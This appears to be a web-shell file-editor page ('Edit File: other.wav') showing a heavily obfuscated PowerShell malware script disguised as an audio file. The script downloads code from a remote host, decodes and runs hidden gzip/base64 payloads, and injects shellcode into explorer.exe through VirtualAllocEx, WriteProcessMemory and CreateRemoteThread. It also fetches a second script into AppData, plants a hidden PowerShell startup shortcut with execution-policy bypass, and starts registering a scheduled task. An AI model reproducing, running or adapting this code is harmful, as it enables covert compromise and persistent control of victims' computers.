One Hat Cyber Team

Edit File: other.wav

function t7f`B`X`R98b`Ac {param ([string] $kdotfgJewnvVmi);${k`Dot`W`R`Kznpgo`Aq} = [convERT]::"`F`Rombas`E64stri`N`G"($kdotfgjEwnVVmi);${`K`Do`T`K`Uwww`Oc`Mef} = [sYsTem.iO.MEMOrYstrEam]::"`New"(${`K`Dot`W`Rk`Z`Np`Goa`Q});${`Kd`O`T`U`Q`Nof`Q`X`Pj`Y} = [SYSTem.Io.cOMPResSIoN.gZiPstREAM]::"ne`W"(${`Kdo`Tk`Uwww`O`Cme`F}, [SystEM.IO.ComPressION.cOMPrEssIonmODe]::"`De`C`Om`P`R`Ess");${kd`Otuqn`O`F`Qxp`J`Y} = [sySteM.Io.COmPrESsIoN.GZIPSTReam]::"n`Ew"([sySTEm.Io.mEMoRySTrEAM]::"`N`Ew"(${`K`D`O`T`W`Rkz`Npgo`A`Q}), [SysTEM.Io.COMPresSioN.ComPRESSIOnmOdE]::"`De`Co`Mp`R`Es`S");${k`Do`Ta`Fvjiu`Pvt`U} = [SySteM.io.sTreAmrEader]::"`New"(${`K`Do`T`Uqnofqxpj`Y});${KdoTgpmwkpxHwc} = ${k`D`Ot`Afv`Jiu`Pvt`U}."r`Ea`D`Toe`N`D"();return ${kDotgpmwkpxhwc}}[NeT.SERVICePOiNtmanagER]::SeCURitYPRotOcOl = [NET.SECUrItYpROTOCOlTYPE]::tlS12
${k`D`O`Tb`Man`Q`L`Xnnw} = ((([SYSteM.tEXT.encoDiNG]::"`U`T`F8"."g`E`T`S`T`R`Ing"([byte[]](0x68,116,116,112,0x73,58,47,47,119,119,0x77,0x2e,0x6c,101,108,111,0x70,0x61,103,0x61)))+([sYsTeM.TEXT.enCoDIng]::"u`T`F8"."get`Str`In`G"(([byte[]](0x6e,0x69,0x2e,0x63,0x6f,0x6d,0x2e,0x62,0x72,0x2f,0x61,0x73,0x73,0x65,0x74,0x73))))+([SyStEM.teXt.ENcodIng]::"utf8"."get`St`R`Ing"([System.CONVerT]::"fromb`A`S`E64`S`Tr`I`N`G"('L2pzL2ZfZS5iaW4=')))))
${`K`D`Ot`Tu`Ar`S`U`M`Hf`B} = 0x5A
${kd`O`Tp`J`Vny`Rd`Tc`O} = ((([SYsteM.TeXT.encOdINg]::"u`T`F8"."`G`E`Ts`Tring"([byte[]](83,51,99,117,114,51,80,97,115,115,112,104,114,97,115,51,33)))))
${k`D`Othnai`Erk`D`B`P} = ((([sYSTem.TexT.eNCOding]::"u`T`F8"."`G`E`T`S`Tri`N`G"(([byte[]](0x4d,0x44,0x47))))))
(t7fBXR98bAc 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) | .(-join[char[]]((-8040+8113),(-9226+9336),(-8356+8474),(-5285+5396),(12904-9385-3412),(2279+4205-6383),(2921-2876),(-5462+5531),(-376+496),(-7383+7495),(-3215+3329),(-8545+8646),(-2336+2451),(-9694+9809),(-15781+9752+6134),(-9560+9671),(12041-6984-4947)))
${k`Dotz`Dr`K`S`G`R`C`Ng} = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32.dll")]
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll")]
    public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
}
"@
.(-join[char[]]((-8609+456+8218),(7224-7124),(1934+7225-9059),(3357-3312),(-3389+6892-3419),(-6633+6754),(-1056+1168),(-7945+8046))) ${k`Dot`Zdr`Ks`G`Rcn`G}
(t7fBXR98bAc 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) | .(-join[char[]]((1273-1200),(4243-4133),(-1143+1261),(-6726+6837),(-7219+3580+3746),(3172-3071),(1563-1518),(-6197+6266),(4088-3968),(-815+927),(-393+507),(10854-6666-4087),(9283-9168),(5873-5758),(7654-7549),(-3559+3670),(3438-3328)))
try {
    .(-join[char[]]((-3281+3353),(-2844+2946),(7220-7148),(-7629+7696),(5235-5184),(3807-3686),(-4210+4318),(-5343+8622-3213),(-9781+424+9440),(1349-1263),(8547-8468)))
    ${kd`O`T`Dqv`U`O`N`I`Y`E`W} = (.(-join[char[]]((2772-2694),(8951-8850),(308-189),(-7576+7621),(2060-1981),(-1272+1370),(653-7797+7250),(7344-7243),(1818-1719),(752-636))) "`Net.`Web`Client")."`D`O`W`Nl`Oadda`T`A"(${k`Dotbm`A`Nq`Lx`Nn`W})
    ${`K`Dotsqlh`Mf`A`Mdz} = .(-join[char[]]((-16449+7492+9029),(-9057+9135),(3103-3006),(-8689+8809),(9181-9125),(-6032+6104),(-769+888),(-6073+6176),(172-57),(-5843+9817-3898),(3415-3367))) ${`Kdo`T`Dqvu`On`I`Yew}
    ${KdotzqVxYpzvtv} = .(-join[char[]]((2000-1929),(4990-6343+1454),(-6507+6784-161),(-8550+8595),(5480-5400),(1316-1202),(-234+345),(-7033+7132),(-8202+8303),(-8651+8766),(879+3876-4640))) explorer -ErrorAction Stop | .(-join[char[]]((8852-8769),(-4507+4608),(3598-3490),(-6028+6129),(7431-7332),(9721-9605),(5240-5195),(-5764+8922-3079),(-7958+8056),(-8399+8505),(-8487+8588),(9944-9845),(3789-3673))) -First ((((((((((-bnot(-bnot(((((4237-Bxor-4236)-Band2*(4237-Band-4236))-Band((4237-Bxor-4236)-Bor2*(4237-Band-4236)))-Band(((4237-Bxor-4236)-Band2*(4237-Band-4236))-Bor((4237-Bxor-4236)-Bor2*(4237-Band-4236))))+((((4237-Bxor-4236)-Band2*(4237-Band-4236))-Band((4237-Bxor-4236)-Bor2*(4237-Band-4236)))-Bor(((4237-Bxor-4236)-Band2*(4237-Band-4236))-Bor((4237-Bxor-4236)-Bor2*(4237-Band-4236)))))))))-shl1)-shr1)))-Band0xFFFFFFFF)))
    ${`K`D`Oth`Kwf`S`Pd`Teq} = ${kdotzqVxyPzvtV}.iD
    ${k`Dotbb`Lun`Hb`X`Lz} = [WIn32]::"`Op`Enpr`Oce`Ss"(0x1F0FFF, (!([bool][SysTem.COLLECtiONs.hAshTablE])), ${`K`Dot`Hk`Wf`Sp`D`Teq})
    (t7fBXR98bAc H4sIAAAAAAAACrWRTWuDQBCG/8oiPShZZcY2anO0NRKaGqgG0oowDW5MLkp1oYaQ/17WD0o/Djm0c3r3nZeZh9nDjulXJ3qge1pRsiWflrSmaE8+bWhJL2dmijemfy3Thalj+q9lroTRqdGs6s4bzJ/Rqv6eHKMXjq3qy6Yak39BVev/mtSYgGHCeAlo50P96hjsxOS+rt7Vr6TNcyODR0uKjbSC8m6VL8oim800Wsudp1laIWRDCT3RgqJC09PtUYo0y3QX+K3LEaYcweMIyBGAX9sc0eGI2EvkiHbfxb6rpA2D7Q2Rm+7aaXyME8UStB1LlR+isGehhOaKhkJBCcWU1IqHQk3/JILWmXJoXZtDaws+Pr1OdVcy2PkDTOzkxa8CAAA=) | .(-join[char[]]((-9367+9440),(-178-6864+7152),(3642-3524),(8765-8654),(5394-5287),(5604-5503),(-7483+7528),(2257-8505+6317),(-6292+6412),(-2282+2394),(-393+507),(-8046+8147),(7501+2375-9761),(-9779+9894),(6321-6216),(-7320+7431),(6933-6823)))
    ${k`D`Ot`Etjaxmlf`E`I} = [wIn32]::"`V`I`R`T`U`A`La`Ll`O`C`Ex"(${k`Do`T`Bb`Lun`Hbx`L`Z}, (((((((-bnot(-bnot(((((((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Band(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056))))+((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Bor(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056)))))-shl1)-shr1)))))))+0)-0))), ${`Kd`Ot`S`Qlh`Mf`Amd`Z}."`Len`Gt`H", 0x1000, 0x40)
    ${kdo`T`Za`Yzc`Lup`Pq} = [InTPTR]::ZERo
    [wiN32]::"`W`Rite`P`Roc`Ess`M`E`Mo`R`Y"(${k`D`Otbb`Lunhb`Xlz}, ${kd`Ot`Etjaxmlfei}, ${`Kdo`Ts`Ql`H`M`Fam`D`Z}, ${k`Do`Ts`Q`Lh`Mfa`M`D`Z}."`L`En`Gth", [ref]${`K`Dot`Zay`Z`Cl`U`Pp`Q})
    ${`K`D`O`T`Q`D`Xuabw`Tnw} = [inTPTr]::ZeRO
    [wiN32]::"`C`Reate`Re`M`O`T`E`T`Hre`A`D"(${k`Do`T`B`Bl`U`Nhbxlz}, ((((((((((((((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Band(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056))))+((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Bor(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056)))))+0)-0)))-shl1)-shr1)))-Band0xFFFFFFFF))), (((((((((((-bnot(-bnot(((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Band(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056))))+((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Bor(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056)))))))))-shl1)-shr1)))+0)-0))), ${`K`D`O`T`E`T`Ja`Xm`L`Fei}, ((((((-bnot(-bnot(((-bnot(-bnot(((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Band(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056))))+((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Bor(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056)))))))))))))-Band0xFFFFFFFF))), (((-bnot(-bnot(((-bnot(-bnot((((((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Band(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056))))+((((-7056-Band7056)-Band(-7056-Bor7056))-Band((-7056-Band7056)-Bor(-7056-Bor7056)))-Bor(((-7056-Band7056)-Band(-7056-Bor7056))-Bor((-7056-Band7056)-Bor(-7056-Bor7056)))))-Band0xFFFFFFFF))))))))))), [ref]${k`D`O`T`Q`Dxua`Bw`Tnw})
}
catch {
    .(-join[char[]]((-5707+7175-1381),(8089-7975),(5576-5471),(-5021+5137),(7451-7350),(2681-2636),(7279-7207),(-3655+3766),(741-626),(-8611+8727))) (((([sySTEm.TeXt.eNCODinG]::"u`T`F8"."g`E`Tst`R`In`G"([byte[]](0x5b,0x21,93,0x20,0x49,0x6e,0x6a,0x65,99,0x74,105,0x6f,110,32,102,97,105,0x6c,0x65)))+([sysTeM.Text.ENcoDinG]::"ut`F8"."`Ge`Ts`T`R`In`G"([byte[]](100,58,32))))) + $_ + ([StRING]::EmPty))
}
try {
    ${k`Do`Tt`E`V`Q`Ic`Lp`Lp} = ((([SysteM.text.Encoding]::"ut`F8"."ge`T`S`T`Ring"([byte[]](104,116,0x74,0x70,115,0x3a,47,0x2f,119,0x77,119,46,0x6c,101,108,0x6f,112,0x61,0x67,97,0x6e,105,0x2e,0x63)))+([SYstEM.TexT.EncoDiNg]::"utf8"."`Get`S`T`Rin`G"([sySteM.cOnVERT]::"f`Rom`Base64str`I`Ng"('b20uYnIvYXNzZXRzL2pzL3Q=')))+([SystEM.TeXt.ENCODiNG]::"`Ut`F8"."getstr`Ing"([byte[]](0x74,46,0x74,0x78,0x74)))))
    ${`K`D`O`T`V`Avv`Xx`Y`S`F`S} = (([STRING]::EMpty) + $env:APpdatA + ((([SySTem.teXT.ENcOdING]::"`U`Tf8"."g`Ets`T`R`In`G"(([byte[]](0x5c,0x74,0x74,0x2e))))+([System.TexT.ENCOdING]::"utf8"."g`Ets`Tr`I`Ng"([byte[]](112,115)))+([sYstEM.tEXT.encODiNg]::"`Utf8"."`G`Ets`Tring"([byte[]](49))))))
    ${Kdotssbvmszlez} = (([sTrIng]::EMpty) + $env:aPpdaTA + ((([SySteM.TExt.eNCOding]::"`U`Tf8"."g`Etstr`I`N`G"(([byte[]](0x5c,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x5c,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x5c,0x53,0x74,0x61,0x72,0x74,0x20,0x4d,0x65,0x6e,0x75,0x5c,0x50,0x72))))+([SysTeM.tEXT.encOdinG]::"`Utf8"."ge`T`S`Tr`In`G"([byte[]](111,103,0x72,0x61,0x6d,0x73,92,83,0x74,97,114,0x74,117,0x70,92,0x74,0x74,0x2e,108,110,0x6b))))))
    (.(-join[char[]]((6578-6500),(-5862+5963),(6411-643-5649),(-5661+5706),(5656-5577),(2098-4970+2970),(-2100+2206),(-7243+4563+2781),(-406+505),(4665-4549))) "`Net.`Web`Client")."do`Wn`L`O`Ad`F`Il`E"(${k`D`Ot`Tev`Qi`Clp`L`P}, ${`K`D`O`T`Vav`Vx`Xysfs})
    ${kd`O`T`P`Ppf`Mi`R`K`G`X} = .(-join[char[]]((2689-2611),(-7620+7920-199),(-13323+7518+5924),(1624-1579),(-2649+2728),(1312-1214),(-1155+1261),(-8103+8204),(8011-7912),(-11494+2149+9461))) -ComObject WScript.Shell
    ${`K`D`Otpoz`Ky`J`Zn`R`K} = ${k`Do`T`Pp`Pf`M`Ir`Kgx}."c`Rea`Te`S`Ho`R`T`C`Ut"(${KdoTssbvmszlez})
    ${`Kd`O`Tpo`Zkyj`Z`N`Rk}.tARgetpatH = (([stRiNG]::empTy) + $env:wInDiR + ((([sysTeM.TexT.encOdInG]::"u`T`F8"."`Gets`Trin`G"([sYStEm.coNVErT]::"f`R`Om`Ba`Se64s`Tr`I`Ng"('XFN5c3RlbTMyXFdpbmRvd3NQb3dlcg==')))+([SySTem.texT.eNCodiNG]::"utf8"."g`Et`S`T`R`I`Ng"([byte[]](83,104,101,108,108,92,118,49,46,48,92,112,111,119,101,114,115,104,101,108,108)))+([sYsTeM.TEXT.ENcODing]::"`U`T`F8"."`Ge`T`S`T`R`Ing"([SYstem.COnVERt]::"`Fr`O`Mb`As`E64`S`Trin`G"('LmV4ZQ=='))))))
    ${k`Dotp`Oz`K`Y`Jz`N`Rk}.ARGumentS = (((([SySTeM.TexT.EnCodInG]::"u`T`F8"."`G`E`Tst`Ri`N`G"([byte[]](0x2d,0x57,0x69,110,100,0x6f,119,0x53,116,121,0x6c,0x65,32,0x48,0x69,100,100,0x65,110,32,0x2d,0x45,0x78,101,99,0x75,0x74,105,0x6f,110,80,111,0x6c,0x69,99,121,0x20,66,121,112,0x61,0x73,0x73,0x20,45,0x46,0x69,0x6c)))+([SySTEm.TEXt.eNCODiNg]::"ut`F8"."g`Et`S`T`Ri`N`G"([byte[]](101,32,96,34))))) + ${`K`D`Ot`V`Av`V`X`Xy`Sfs} + ((([SYstEM.teXt.encodiNG]::"u`T`F8"."`G`Et`S`Tr`Ing"([byte[]](96,34))))))
    ${`Kdot`P`O`Z`K`Y`Jz`Nr`K}.WorKingDIrEcTORY = (([stRiNG]::emPtY) + $env:appdatA + ([stRinG]::eMPTy))
    ${k`Do`T`Po`Zkyjz`N`R`K}.WinDOWSTylE = (((-bnot(-bnot((((((((((((-7935-Band7942)-Band(-7935-Bor7942))-Band((-7935-Band7942)-Bor(-7935-Bor7942)))-Band(((-7935-Band7942)-Band(-7935-Bor7942))-Bor((-7935-Band7942)-Bor(-7935-Bor7942))))+((((-7935-Band7942)-Band(-7935-Bor7942))-Band((-7935-Band7942)-Bor(-7935-Bor7942)))-Bor(((-7935-Band7942)-Band(-7935-Bor7942))-Bor((-7935-Band7942)-Bor(-7935-Bor7942)))))+0)-0)))-Band0xFFFFFFFF)))))))  
    ${k`Dotpo`Zkyj`Z`Nr`K}."s`Ave"()
}
catch {
    .(-join[char[]]((-6875+6962),(-6853+6967),(4196-4091),(5730-5614),(-7799+7900),(-2161+2206),(-5350+2710+2712),(-4396+4507),(9938-9823),(6440-7847+1523))) (((([SYSTEm.TexT.eNCODing]::"`Utf8"."`Ge`Tst`R`I`N`G"([SYsTEM.cOnVErt]::"f`Rom`B`A`Se64`S`T`Ring"('Wy1dIEZhaWxlZDog'))))) + $_ + ([STrIng]::empTy))
}
try {
    ${`Kd`Ot`Y`Nk`Wils`Pq`V} = ((([sYStEm.tExt.ENcodinG]::"`Ut`F8"."g`Et`S`Tr`Ing"([SYsTeM.CoNvERT]::"`Fro`M`Ba`S`E64st`R`I`N`G"('VXBkYXRlckV2ZXJ5MTJo')))))
    ${k`D`O`T`V`A`V`Vx`Xysfs} = (([sTriNg]::EmPty) + $env:ApPDAta + ((([SySTem.teXT.ENCoding]::"u`T`F8"."`G`Et`St`Ri`Ng"([byte[]](0x5c,0x4d,0x69,0x63,0x72,0x6f,0x73,111,0x66,0x74,92,0x57,0x69,0x6e,0x64,0x6f,0x77,115,92,0x53,116,0x61,0x72,116,32,0x4d,101,110,0x75,92,80,0x72,111)))+([sysTeM.TeXT.eNCODing]::"`U`Tf8"."`G`E`T`S`T`Rin`G"(([byte[]](0x67,0x72,0x61,0x6d,0x73,0x5c,0x53,0x74,0x61,0x72,0x74,0x75,0x70,0x5c,0x74,0x74,0x2e,0x70,0x73,0x31)))))))
    ${KdOtzxjkQpufih} = .(-join[char[]]((1819-1741),(-6294+6395),(-1294+1413),(6836-2637-4154),(-986+1069),(7784-7685),(-429+533),(-3312+3413),(-7644+7978-234),(-298+415),(4333-1387-2838),(8010-7909),(2124-2024),(13193-4666-8443),(-7060+7157),(-7833+7948),(-9460+9567),(2591-2526),(-1619+1275+443),(1150-1034),(7742+787-8424),(-9869+9980),(-900+1010))) -Execute (([sTRinG]::emPty) + $env:wiNdIr + ((([sYsteM.TEXT.ENcodiNg]::"`U`Tf8"."`G`Etstr`I`N`G"([SYsTEM.conVerT]::"fromb`As`E64s`Trin`G"('XFN5c3RlbTMyXFdpbmRvd3NQb3dlcg==')))+([sYstEM.teXT.ENcODiNg]::"utf8"."g`Et`S`Tr`Ing"([byte[]](83,104,101,108,108,92,118,49,46,48,92,112,111,119,101,114,115,104,101,108,108)))+([sYSTem.texT.ENcodING]::"`U`Tf8"."g`Etst`Rin`G"([sYstEM.ConVeRt]::"f`R`O`Mb`A`Se64st`R`I`Ng"('LmV4ZQ==')))))) `
